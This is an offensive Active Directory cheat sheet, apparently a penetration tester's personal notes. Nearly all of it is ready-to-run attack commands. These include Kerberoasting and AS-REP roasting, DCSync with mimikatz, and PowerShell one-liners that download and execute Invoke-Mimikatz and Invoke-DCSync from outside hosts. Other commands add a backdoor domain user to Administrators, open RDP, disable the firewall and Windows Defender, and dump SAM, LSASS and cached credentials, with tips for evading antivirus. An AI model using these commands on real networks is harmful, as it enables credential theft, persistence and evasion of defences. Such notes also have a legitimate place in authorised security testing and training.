#https://github.com/skelsec/kerberoast


IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
<kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>



Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum

Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt

#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable

Get-ASRepHash -Domain m0chanAD.local -User victim

Can also use Rebeus (Reflectively Load .NET Assembly.)

.\Rubeus.exe asreproast

#Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. Note that Read-Only Domain Controllers are not  allowed to pull password data for users by default. 

#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Directory Changes)

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6:8000/Invoke-DCSync.ps1'); Invoke-DCSync -PWDumpFormat"


Empire Module: powershell/credentials/mimikatz/dcsync_hashdump

#https://twitter.com/spotheplanet/status/1318487486826504197/photo/1

PsExec.exe -i -s "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal.X.X\WindowsTerminal.exe"

net user m0chan /add /domain
net localgroup Administrators m0chan /add

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

If you get this error:

CredSSP Error Fix ->

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>


Can be useful where you want to dump SAM and (or) SYSTEM but the file is locked by the OS (Windows 10)

reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

#https://github.com/GhostPack/Seatbelt

This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be reflectively loaded to avoid AV :D Win Win

BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies     -   UAC system policies via the registry
PowerShellSettings    -   PowerShell versions and security settings
AuditSettings         -   Audit settings via the registry
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry
LSASettings           -   LSA settings (including auth packages)
UserEnvVariables      -   Current user environment variables
SystemEnvVariables    -   Current system environment variables
UserFolders           -   Folders in C:\Users\
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft'
InternetSettings      -   Internet settings including proxy configs
LapsSettings          -   LAPS settings, if installed
LocalGroupMembers     -   Members of local admins, RDP, and DCOM
MappedDrives          -   Mapped drives
RDPSessions           -   Current incoming RDP sessions
WMIMappedDrives       -   Mapped drives via WMI
NetworkShares         -   Network shares
FirewallRules         -   Deny firewall rules, "full" dumps all
AntiVirusWMI          -   Registered antivirus (via WMI)
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools
RegistryAutoRuns      -   Registry autoruns
RegistryAutoLogon     -   Registry autologon information
DNSCache              -   DNS cache entries (via WMI)
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections     -   Lists current TCP connections and associated processes
AllUdpConnections     -   Lists current UDP connections and associated processes
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft'
  *  If the user is in high integrity, the following additional actions are run:
SysmonConfig          -   Sysmon configuration from the registry

And more!!

(new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz 

Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.

mimikatz.exe
privlege::debug
sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with MiniDump 
(https://github.com/3xpl01tc0d3r/Minidump)

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

Mimikatz Guide

#Logon Sessions

sekurlsa::logonPasswords all

#Dump Cache

lsadump::cache

#Dump SAM

lsadump::sam